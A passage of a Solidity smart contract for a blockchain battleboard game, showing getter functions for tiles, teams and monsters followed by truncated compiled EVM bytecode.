for (uint i = 0; i < Battleboards[battleboardId].numTiles; i++) {
if (TilesonBoard[battleboardId][i].angelId != 0) {
angelsOnBattleboards[TilesonBoard[battleboardId][i].angelId] = false;
}
}
}
//Read functions
function getTileHp(uint16 battleboardId, uint8 tileId) constant external returns (uint32) {
return TilesonBoard[battleboardId][tileId].hp;
}
function getMedalsBurned(uint16 battleboardId) constant external returns (uint8) {
return Battleboards[battleboardId].medalsBurned;
}
function getTeam(uint16 battleboardId, uint8 tileId) external returns (uint8) {
TilesonBoard[battleboardId][tileId].team;
}
function getRandomNumber(uint16 maxRandom, uint8 min, address privateAddress) constant public returns(uint8) {
uint256 genNum = uint256(block.blockhash(block.number-1)) + uint256(privateAddress);
return uint8(genNum % (maxRandom - min + 1)+min);
}
function getMaxFreeTeams() constant public returns (uint8) {
return maxFreeTeams;
}
function getBarrierNum(uint16 battleboardId) public constant returns (uint8) {
return Battleboards[battleboardId].createdBarriers;
}
// Call to get the specified tile at a certain position of a certain board.
function getTileFromBattleboard(uint16 battleboardId, uint8 tileId) public constant returns (uint8 tileType, uint8 value, uint8 id, uint8 position, uint32 hp, uint16 petPower, uint64 angelId, uint64 petId, bool isLive, address owner) {
if ((battleboardId <0) || (battleboardId > totalBattleboards)) {revert();}
Battleboard memory battleboard = Battleboards[battleboardId];
Tile memory tile;
if ((tileId <0) || (tileId> battleboard.numTiles)) {revert();}
tile = TilesonBoard[battleboardId][tileId];
tileType = tile.tileType;
value = tile.value;
id= tile.id;
position = tile.position;
hp = tile.hp;
petPower = tile.petPower;
angelId = tile.angelId;
petId = tile.petId;
owner = tile.owner;
isLive = tile.isLive;
}
//Each player (address) can only have one tile on each board.
function getTileIDByOwner(uint16 battleboardId, address _owner) constant public returns (uint8) {
for (uint8 i = 0; i < Battleboards[battleboardId].numTiles+1; i++) {
if (TilesonBoard[battleboardId][i].owner == _owner) {
return TilesonBoard[battleboardId][i].id;
}
}
return 0;
}
function getPetbyTileId( uint16 battleboardId, uint8 tileId) constant public returns (uint64) {
return TilesonBoard[battleboardId][tileId].petId;
}
function getOwner (uint16 battleboardId, uint8 team, uint8 ownerNumber) constant external returns (address) {
if (team == 0) {return Battleboards[battleboardId].players[ownerNumber];}
if (team == 1) {return Battleboards[battleboardId].team1[ownerNumber];}
if (team == 2) {return Battleboards[battleboardId].team2[ownerNumber];}
}
function getTileIDbyPosition(uint16 battleboardId, uint8 position) public constant returns (uint8) {
return positionsTiles[battleboardId][position+1];
}
//If tile is empty, this returns 0
// Call to get the specified tile at a certain position of a certain board.
function getPositionFromBattleboard(uint16 battleboardId, uint8 _position) public constant returns (uint8 tileType, uint8 value, uint8 id, uint8 position, uint32 hp, uint32 petPower, uint64 angelId, uint64 petId, bool isLive) {
if ((battleboardId <0) || (battleboardId > totalBattleboards)) {revert();}
Tile memory tile;
uint8 tileId = positionsTiles[battleboardId][_position+1];
tile = TilesonBoard[battleboardId][tileId];
tileType = tile.tileType;
value = tile.value;
id= tile.id;
position = tile.position;
hp = tile.hp;
petPower = tile.petPower;
angelId = tile.angelId;
petId = tile.petId;
isLive = tile.isLive;
}
function getBattleboard(uint16 id) public constant returns (uint8 turn, bool isLive, uint prize, uint8 numTeams, uint8 numTiles, uint8 createdBarriers, uint8 restrictions, uint lastMoveTime, uint8 numTeams1, uint8 numTeams2, uint8 monster1, uint8 monster2) {
Battleboard memory battleboard = Battleboards[id];
turn = battleboard.turn;
isLive = battleboard.isLive;
prize = battleboard.prize;
numTeams = battleboard.numTeams;
numTiles = battleboard.numTiles;
createdBarriers = battleboard.createdBarriers;
restrictions = battleboard.restrictions;
lastMoveTime = battleboard.lastMoveTime;
numTeams1 = battleboard.numTeams1;
numTeams2 = battleboard.numTeams2;
monster1 = battleboard.monster1;
monster2 = battleboard.monster2;
}
function isBattleboardLive(uint16 battleboardId) constant public returns (bool) {
return Battleboards[battleboardId].isLive;
}
function isTileLive(uint16 battleboardId, uint8 tileId) constant external returns (bool) {
return TilesonBoard[battleboardId][tileId].isLive;
}
function getLastMoveTime(uint16 battleboardId) constant public returns (uint) {
return Battleboards[battleboardId].lastMoveTime;
}
function getNumTilesFromBoard (uint16 _battleboardId) constant public returns (uint8) {
return Battleboards[_battleboardId].numTiles;
}
//each angel can only be on ONE sponsored battleboard at a time.
function angelOnBattleboards(uint64 angelID) external constant returns (bool) {
return angelsOnBattleboards[angelID];
}
function getTurn(uint16 battleboardId) constant public returns (address) {
return Battleboards[battleboardId].players[Battleboards[battleboardId].turn];
}
function getNumTeams(uint16 battleboardId, uint8 team) public constant returns (uint8) {
if (team == 1) {return Battleboards[battleboardId].numTeams1;}
if (team == 2) {return Battleboards[battleboardId].numTeams2;}
}
function getMonsters(uint16 BattleboardId) external constant returns (uint8 monster1, uint8 monster2) {
monster1 = Battleboards[BattleboardId].monster1;
monster2 = Battleboards[BattleboardId].monster2;
}
function safeMult(uint x, uint y) pure internal returns(uint) {
uint z = x * y;
assert((x == 0)||(z/x == y));
return z;
}
function SafeDiv(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
/// Read access
}
function getTotalBattleboards() public constant returns (uint16) {
return totalBattleboards;
}
}
|
0x606060405260043610610203576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806265d7001461020857806311c1ddd91461031257806318d30bfa146103395780632ef0a28d146103605780633c816217146103b15780633d561f73146103d857806345e261051461049a5780634b2f249a146104bf578063621612351461050a5780636390f51914610576578063653a8f14146105c35780636b6cc239146106045780636eae0843146106315780637123691e1461067e5780637362377b146106b757806376b1514f146106cc57806377d99ef5146106fb57806381e7a97e146107465780638841937a146107795780638957f8bf146107bb57806389b2df31146107f65780638a2ae2ab1461085d5780638b93509f146108905780638e894a6f146108e25780639b8f5d4a146109425780639e776ff5146109815780639e79800d146109b2578063a21eef9514610a31578063a4d28b6214610a72578063a921ba7d14610ab3578063adc38b2f14610ae4578063afcd565c14610b0b578063b3ab715e14610bdd578063b6282d0d14610c2a578063bbc878c414610c6f578063d356a28b14610ca0578063e305c21014610cd9578063e927fc5c14610db4578063f345d06b14610e09578063fa70466e14610e5c578063fa712f7114610eaa578063ff069b4c14610ee9575b600080fd5b341561021357600080fd5b610239600480803561ffff1690602001909190803560ff16906020019091905050610f44565b604051808b60ff1660ff1681526020018a60ff1660ff1681526020018960ff1660ff1681526020018860ff1660ff1681526020018763ffffffff1663ffffffff1681526020018661ffff1661ffff1681526020018567ffffffffffffffff1667ffffffffffffffff1681526020018467ffffffffffffffff1667ffffffffffffffff168152602001831515151581526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019a505050505050505050505060405180910390f35b341561031d57600080fd5b610337600480803561ffff16906020019091905050611557565b005b341561034457600080fd5b61035e600480803561ffff16906020019091905050611609565b005b341561036b57600080fd5b610397600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611694565b604051808215151515815260200191505060405180910390f35b34156103bc57600080fd5b6103d6600480803561ffff169060200190919050506116b4565b005b34156103e357600080fd5b6103fd600480803561ffff1690602001909190505061175c565b604051808d60ff1660ff1681526020018c1515151581526020018b81526020018a60ff1660ff1681526020018960ff1660ff1681526020018860ff1660ff1681526020018760ff1660ff1681526020018681526020018560ff1660ff1681526020018460ff1660ff1681526020018360ff1660ff1681526020018260ff1660ff1681526020019c5050505050505050505050505060405180910390f35b34156104a557600080fd5b6104bd60048080351515906020019091905050611b2b565b005b34156104ca57600080fd5b6104f0600480803561ffff1690602001909190803560ff16906020019091905050611ba3565b604051808215151515815260200191505060405180910390f35b341561051557600080fd5b61055a600480803561ffff1690602001909190803560ff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611bf9565b604051808260ff1660ff16815260200191505060405180910390f35b341561058157600080fd5b6105a7600480803561ffff1690602001909190803560ff16906020019091905050611c46565b604051808260ff1660ff16815260200191505060405180910390f35b34156105ce57600080fd5b6105e8600480803561ffff16906020019091905050611cd9565b604051808260ff1660ff16815260200191505060405180910390f35b341561060f57600080fd5b610617611d14565b604051808215151515815260200191505060405180910390f35b341561063c57600080fd5b610662600480803561ffff1690602001909190803560ff16906020019091905050611d27565b604051808260ff1660ff16815260200191505060405180910390f35b341561068957600080fd5b6106b5600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611d79565b005b34156106c257600080fd5b6106ca611eba565b005b34156106d757600080fd5b6106df611f8f565b604051808260ff1660ff16815260200191505060405180910390f35b341561070657600080fd5b610728600480803590602001909190803560ff16906020019091905050611fa6565b604051808261ffff1661ffff16815260200191505060405180910390f35b341561075157600080fd5b610777600480803561ffff1690602001909190803560ff1690602001909190505061236a565b005b341561078457600080fd5b6107b9600480803561ffff1690602001909190803560ff1690602001909190803563ffffffff16906020019091905050612463565b005b34156107c657600080fd5b6107e0600480803561ffff16906020019091905050612524565b6040518082815260200191505060405180910390f35b341561080157600080fd5b61081b600480803561ffff16906020019091905050612552565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561086857600080fd5b61088e600480803561ffff1690602001909190803560ff169060200190919050506125ec565b005b341561089b57600080fd5b6108e0600480803561ffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803560ff16906020019091905050612a01565b005b34156108ed57600080fd5b610926600480803561ffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506130a4565b604051808260ff1660ff16815260200191505060405180910390f35b341561094d57600080fd5b61097f600480803561ffff1690602001909190803560ff1690602001909190803560ff169060200190919050506131ec565b005b341561098c57600080fd5b6109946132f6565b604051808261ffff1661ffff16815260200191505060405180910390f35b34156109bd57600080fd5b6109ef600480803561ffff1690602001909190803560ff1690602001909190803560ff1690602001909190505061330e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3415610a3c57600080fd5b610a56600480803561ffff16906020019091905050613470565b604051808260ff1660ff16815260200191505060405180910390f35b3415610a7d57600080fd5b610a97600480803561ffff169060200190919050506134ab565b604051808260ff1660ff16815260200191505060405180910390f35b3415610abe57600080fd5b610ac66134e6565b604051808261ffff1661ffff16815260200191505060405180910390f35b3415610aef57600080fd5b610b09600480803561ffff169060200190919050506134fa565b005b3415610b1657600080fd5b610bc1600480803561ffff1690602001909190803560ff1690602001909190803560ff1690602001909190803560ff1690602001909190803563ffffffff1690602001909190803561ffff1690602001909190803567ffffffffffffffff1690602001909190803567ffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803560ff16906020019091905050613656565b604051808260ff1660ff16815260200191505060405180910390f35b3415610be857600080fd5b610c0e600480803561ffff1690602001909190803560ff16906020019091905050613bb8565b604051808260ff1660ff16815260200191505060405180910390f35b3415610c3557600080fd5b610c55600480803567ffffffffffffffff16906020019091905050613c06565b604051808215151515815260200191505060405180910390f35b3415610c7a57600080fd5b610c82613c44565b604051808261ffff1661ffff16815260200191505060405180910390f35b3415610cab57600080fd5b610cd7600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050613c58565b005b3415610ce457600080fd5b610d0a600480803561ffff1690602001909190803560ff16906020019091905050613d98565b604051808a60ff1660ff1681526020018960ff1660ff1681526020018860ff1660ff1681526020018760ff1660ff1681526020018663ffffffff1663ffffffff1681526020018563ffffffff1663ffffffff1681526020018467ffffffffffffffff1667ffffffffffffffff1681526020018367ffffffffffffffff1667ffffffffffffffff16815260200182151515158152602001995050505050505050505060405180910390f35b3415610dbf57600080fd5b610dc7614073565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3415610e1457600080fd5b610e3a600480803561ffff1690602001909190803560ff16906020019091905050614098565b604051808263ffffffff1663ffffffff16815260200191505060405180910390f35b3415610e6757600080fd5b610e81600480803561ffff169060200190919050506140f1565b604051808360ff1660ff1681526020018260ff1660ff1681526020019250505060405180910390f35b3415610eb557600080fd5b610ecf600480803561ffff16906020019091905050614161565b604051808215151515815260200191505060405180910390f35b3415610ef457600080fd5b610f1a600480803561ffff1690602001909190803560ff1690602001909190505061419c565b604051808267ffffffffffffffff1667ffffffffffffffff16815260200191505060405180910390f35b600080600080600080600080600080610f5b6145b6565b610f63614671565b60008e61ffff161080610f8d5750600460009054906101000a900461ffff1661ffff168e61ffff16115b15610f9757600080fd5b60038e61ffff16815481101515610faa57fe5b906000526020600020906009020161022060405190810160405290816000820160009054906101000a900460ff1660ff1660ff1681526020016001820180548060200260200160405190810160405280929190818152602001828054801561106757602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001906001019080831161101d575b505050505081526020016002820160009054906101000a900460ff16151515158152602001600382015481526020016004820160009054906101000a900461ffff1661ffff1661ffff1681526020016004820160029054906101000a900460ff1660ff1660ff1681526020016004820160039054906101000a900460ff1660ff1660ff1681526020016004820160049054906101000a900460ff1660ff1660ff1681526020016004820160059054906101000a900460ff1660ff1660ff16815260200160058201548152602001600682018054806020026020016040519081016040528092919081815260200182805480156111b857602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001906001019080831161116e575b505050505081526020016007820180548060200260200160405190810160405280929190818152602001828054801561124657602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190600101908083116111fc575b505050505081526020016008820160009054906101000a900460ff1660ff1660ff1681526020016008820160019054906101000a900460ff1660ff1660ff1681526020016008820160029054906101000a900460ff1660ff1660ff1681526020016008820160039054906101000a900460ff1660ff1660ff1681526020016008820160049054906101000a900460ff1660ff1660ff1681525050915060008d60ff1610806112fd57508160c0015160ff168d60ff16115b1561130757600080fd5b600660008f61ffff1663ffffffff1681526020019081526020016000208d60ff1681548110151561133457fe5b906000526020600020906002020161016060405190810160405290816000820160009054906101000a900460ff1660ff1660ff1681526020016000820160019054906101000a900460ff1660ff1660ff1681526020016000820160029054906101000a900460ff1660ff1660ff1681526020016000820160039054906101000a900460ff1660ff1660ff1681526020016000820160049054906101000a900463ffffffff1663ffffffff1663ffffffff1681526020016000820160089054906101000a900461ffff1661ffff1661ffff16815260200160008201600a9054906101000a900460ff1660ff1660ff16815260200160008201600b9054906101000a900467ffffffffffffffff1667ffffffffffffffff1667ffffffffffffffff1681526020016000820160139054906101000a900467ffffffffffffffff1667ffffffffffffffff1667ffffffffffffffff16815260200160008201601b9054906101000a900460ff161515151581526020016001820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681525050905080600001519b5080602001519a508060400151995080606001519850806080015197508060a0015196508060e00151955080610100015194508061014001519250806101200151935050509295989b9194979a5092959850565b60011515600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415156115b657600080fd5b600160038261ffff168154811015156115cb57fe5b906000526020600020906009020160080160048282829054906101000a900460ff160192506101000a81548160ff021916908360ff16021790555050565b60011515600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514151561166857600080fd5b4260038261ffff1681548110151561167c57fe5b90600052602060002090600902016005018190555050565b60016020528060005260406000206000915054906101000a900460ff1681565b60011515600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514151561171357600080fd5b600060038261ffff1681548110151561172857fe5b906000526020600020906009020160020160006101000a81548160ff021916908315150217905550611759816141f9565b50565b6000806000806000806000806000806000806117766145b6565b60038e61ffff1681548110151561178957fe5b906000526020600020906009020161022060405190810160405290816000820160009054906101000a900460ff1660ff1660ff1681526020016001820180548060200260200160405190810160405280929190818152602001828054801561184657602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190600101908083116117fc575b505050505081526020016002820160009054906101000a900460ff16151515158152602001600382015481526020016004820160009054906101000a900461ffff1661ffff1661ffff1681526020016004820160029054906101000a900460ff1660ff1660ff1681526020016004820160039054906101000a900460ff1660ff1660ff1681526020016004820160049054906101000a900460ff1660ff1660ff1681526020016004820160059054906101000a900460ff1660ff1660ff168152602001600582015481526020016006820180548060200260200160405190810160405280929190818152602001828054801561199757602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001906001019080831161194d575b5050505050815260200160078201805480602002602001604051908101604052809291908181526020018280548015611a2557602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190600101908083116119db575b505050505081526020016008820160009054906101000a900460ff1660ff1660ff1681526020016008820160019054906101000a900460ff1660ff1660ff1681526020016008820160029054906101000a900460ff1660ff1660ff1681526020016008820160039054906101000a900460ff1660ff1660ff1681526020016008820160049054906101000a900460ff1660ff1660ff1681525050905080600001519c5080604001519b5080606001519a508060a0015199508060c0015198508060e001519750806101000151965080610120015195508061018001519450806101a001519350806101c001519250806101e0015191505091939597999b5091939597999b565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611b8657600080fd5b80600260006101000a81548160ff02191690831515021790555050565b6000600660008461ffff1663ffffffff1681526020019081526020016000208260ff16815481101515611bd257fe5b9060005260206000209060020201600001601b9054906101000a900460ff16905092915050565b6000808273ffffffffffffffffffffffffffffffffffffffff166001430340600190040190508360ff1660018560ff1687030161ffff1682811515611c3a57fe5b06019150509392505050565b600060018260ff161415611c8d5760038361ffff16815481101515611c6757fe5b906000526020600020906009020160080160009054906101000a900460ff169050611cd3565b60028260ff161415611cd25760038361ffff16815481101515611cac57fe5b906000526020600020906009020160080160019054906101000a900460ff169050611cd3565b5b92915050565b600060038261ffff16815481101515611cee57fe5b906000526020600020906009020160040160039054906101000a900460ff169050919050565b600260009054906101000a900460ff1681565b6000600660008461ffff1663ffffffff1681526020019081526020016000208260ff16815481101515611d5657fe5b9060005260206000209060020201600001600a9054906101000a90505092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611dd457600080fd5b60011515600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415611eb7576000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600060148282829054906101000a900461ffff160392506101000a81548161ffff021916908361ffff1602179055505b50565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611f1557600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f193505050501515611f8d57600080fd5b565b6000600460029054906101000a900460ff16905090565b6000611fb06145b6565b60011515600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514151561200f57600080fd5b8281610100019060ff16908160ff1681525050600081604001901515908115158152505083816060018181525050600460009054906101000a900461ffff16816080019061ffff16908161ffff168152505060008160a0019060ff16908160ff168152505042816101200181815250506001600460008282829054906101000a900461ffff160192506101000a81548161ffff021916908361ffff16021790555060008160c0019060ff16908160ff16815250506120d1601e60116001611bf9565b816101c0019060ff16908160ff16815250506120f16030601f6002611bf9565b816101e0019060ff16908160ff1681525050600380548060010182816121179190614711565b9160005260206000209060090201600083909190915060008201518160000160006101000a81548160ff021916908360ff160217905550602082015181600101908051906020019061216a929190614743565b5060408201518160020160006101000a81548160ff0219169083151502179055506060820151816003015560808201518160040160006101000a81548161ffff021916908361ffff16021790555060a08201518160040160026101000a81548160ff021916908360ff16021790555060c08201518160040160036101000a81548160ff021916908360ff16021790555060e08201518160040160046101000a81548160ff021916908360ff1602179055506101008201518160040160056101000a81548160ff021916908360ff1602179055506101208201518160050155610140820151816006019080519060200190612265929190614743565b50610160820151816007019080519060200190612283929190614743565b506101808201518160080160006101000a81548160ff021916908360ff1602179055506101a08201518160080160016101000a81548160ff021916908360ff1602179055506101c08201518160080160026101000a81548160ff021916908360ff1602179055506101e08201518160080160036101000a81548160ff021916908360ff1602179055506102008201518160080160046101000a81548160ff021916908360ff16021790555050505061234d6001600460009054906101000a900461ffff160361433f565b6001600460009054906101000a900461ffff160391505092915050565b60011515600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415156123c957600080fd5b60018160ff16141561241457600060038361ffff168154811015156123ea57fe5b906000526020600020906009020160080160026101000a81548160ff021916908360ff1602179055505b60028160ff16141561245f57600060038361ffff1681548110151561243557fe5b906000526020600020906009020160080160036101000a81548160ff021916908360ff1602179055505b5050565b60011515600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415156124c257600080fd5b80600660008561ffff1663ffffffff1681526020019081526020016000208360ff168154811015156124f057fe5b906000526020600020906002020160000160046101000a81548163ffffffff021916908363ffffffff160217905550505050565b600060038261ffff1681548110151561253957fe5b9060005260206000209060090201600501549050919050565b600060038261ffff1681548110151561256757fe5b906000526020600020906009020160010160038361ffff1681548110151561258b57fe5b906000526020600020906009020160000160009054906101000a900460ff1660ff168154811015156125b957fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b600060011515600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514151561264d57600080fd5b6000600660008561ffff1663ffffffff1681526020019081526020016000208360ff1681548110151561267c57fe5b9060005260206000209060020201600001601b6101000a81548160ff0219169083151502179055506000600660008561ffff1663ffffffff1681526020019081526020016000208360ff168154811015156126d357fe5b906000526020600020906002020160000160006101000a81548160ff021916908360ff160217905550600090505b60038361ffff1681548110151561271457fe5b90600052602060002090600902016006018054905081101561287c57600660008461ffff1663ffffffff1681526020019081526020016000208260ff1681548110151561275d57fe5b906000526020600020906002020160010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660038461ffff168154811015156127b857fe5b9060005260206000209060090201600601828154811015156127d657fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141561286f57600160038461ffff1681548110151561283357fe5b906000526020600020906009020160080160008282829054906101000a900460ff160392506101000a81548160ff021916908360ff1602179055505b8080600101915050612701565b600090505b60038361ffff1681548110151561289457fe5b9060005260206000209060090201600701805490508110156129fc57600660008461ffff1663ffffffff1681526020019081526020016000208260ff168154811015156128dd57fe5b906000526020600020906002020160010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660038461ffff1681548110151561293857fe5b90600052602060002090600902016007018281548110151561295657fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156129ef57600160038461ffff168154811015156129b357fe5b906000526020600020906009020160080160018282829054906101000a900460ff160392506101000a81548160ff021916908360ff1602179055505b8080600101915050612881565b505050565b600060011515600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141515612a6257600080fd5b6001151560038561ffff16815481101515612a7957fe5b906000526020600020906009020160020160009054906101000a900460ff1615151415612aa557600080fd5b600060038561ffff16815481101515612aba57fe5b906000526020600020906009020160030154148015612b1e5750600460029054906101000a900460ff1660ff1660038561ffff16815481101515612afa57fe5b906000526020600020906009020160040160029054906101000a900460ff1660ff16145b15612b2857600080fd5b600060038561ffff16815481101515612b3d57fe5b90600052602060002090600902016003015414158015612ba25750600460039054906101000a900460ff1660ff1660038561ffff16815481101515612b7e57fe5b906000526020600020906009020160040160029054906101000a900460ff1660ff16145b15612bac57600080fd5b600090505b60038461ffff16815481101515612bc457fe5b906000526020600020906009020160040160029054906101000a900460ff1660ff16811015612c8f578273ffffffffffffffffffffffffffffffffffffffff1660038561ffff16815481101515612c1757fe5b906000526020600020906009020160010182815481101515612c3557fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415612c8257600080fd5b8080600101915050612bb1565b600160038561ffff16815481101515612ca457fe5b906000526020600020906009020160040160028282829054906101000a900460ff160192506101000a81548160ff021916908360ff16021790555060038461ffff16815481101515612cf257fe5b90600052602060002090600902016001018054806001018281612d1591906147cd565b9160005260206000209001600085909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505060018260ff161415612e4657600160038561ffff16815481101515612d8557fe5b906000526020600020906009020160080160008282829054906101000a900460ff160192506101000a81548160ff021916908360ff16021790555060038461ffff16815481101515612dd357fe5b90600052602060002090600902016006018054806001018281612df691906147cd565b9160005260206000209001600085909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505b60028260ff16141561309e57600160038561ffff16815481101515612e6757fe5b906000526020600020906009020160080160018282829054906101000a900460ff160192506101000a81548160ff021916908360ff16021790555060038461ffff16815481101515612eb557fe5b90600052602060002090600902016007018054806001018281612ed891906147cd565b9160005260206000209001600085909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550506003808561ffff16815481101515612f3b57fe5b906000526020600020906009020160080160009054906101000a900460ff1660ff16148015612f9d57506003808561ffff16815481101515612f7957fe5b906000526020600020906009020160080160019054906101000a900460ff1660ff16145b15612fe057600160038561ffff16815481101515612fb757fe5b906000526020600020906009020160020160006101000a81548160ff0219169083151502179055505b600060038561ffff16815481101515612ff557fe5b9060005260206000209060090201600301541415801561305a5750600460039054906101000a900460ff1660ff1660038561ffff1681548110151561303657fe5b906000526020600020906009020160040160029054906101000a900460ff1660ff16145b1561309d57600160038561ffff1681548110151561307457fe5b906000526020600020906009020160020160006101000a81548160ff0219169083151502179055505b5b50505050565b600080600090505b600160038561ffff168154811015156130c157fe5b906000526020600020906009020160040160039054906101000a900460ff160160ff168160ff1610156131e0578273ffffffffffffffffffffffffffffffffffffffff16600660008661ffff1663ffffffff1681526020019081526020016000208260ff1681548110151561313257fe5b906000526020600020906002020160010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156131d357600660008561ffff1663ffffffff1681526020019081526020016000208160ff168154811015156131ad57fe5b906000526020600020906002020160000160029054906101000a900460ff1691506131e5565b80806001019150506130ac565b600091505b5092915050565b60011515600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514151561324b57600080fd5b80600660008561ffff1663ffffffff1681526020019081526020016000208360ff1681548110151561327957fe5b906000526020600020906002020160000160036101000a81548160ff021916908360ff16021790555081600760008561ffff1661ffff1681526020019081526020016000206001830160ff166040811015156132d157fe5b602091828204019190066101000a81548160ff021916908360ff160217905550505050565b6000600460009054906101000a900461ffff16905090565b6000808360ff1614156133825760038461ffff1681548110151561332e57fe5b90600052602060002090600902016001018260ff1681548110151561334f57fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050613469565b60018360ff1614156133f55760038461ffff168154811015156133a157fe5b90600052602060002090600902016006018260ff168154811015156133c257fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050613469565b60028360ff1614156134685760038461ffff1681548110151561341457fe5b90600052602060002090600902016007018260ff1681548110151561343557fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050613469565b5b9392505050565b600060038261ffff1681548110151561348557fe5b906000526020600020906009020160040160049054906101000a900460ff169050919050565b600060038261ffff168154811015156134c057fe5b906000526020600020906009020160080160049054906101000a900460ff169050919050565b600460009054906101000a900461ffff1681565b60011515600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514151561355957600080fd5b600160038261ffff1681548110151561356e57fe5b9060005260206000209060090201600101805490500360038261ffff1681548110151561359757fe5b906000526020600020906009020160000160009054906101000a900460ff1660ff16141561360257600060038261ffff168154811015156135d457fe5b906000526020600020906009020160000160006101000a81548160ff021916908360ff160217905550613653565b600160038261ffff1681548110151561361757fe5b906000526020600020906009020160000160008282829054906101000a900460ff160192506101000a81548160ff021916908360ff1602179055505b50565b6000613660614671565b60011515600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415156136bf57600080fd5b60008c61ffff1610806136e95750600460009054906101000a900461ffff1661ffff168c61ffff16115b156136f357600080fd5b60011515600560008867ffffffffffffffff1667f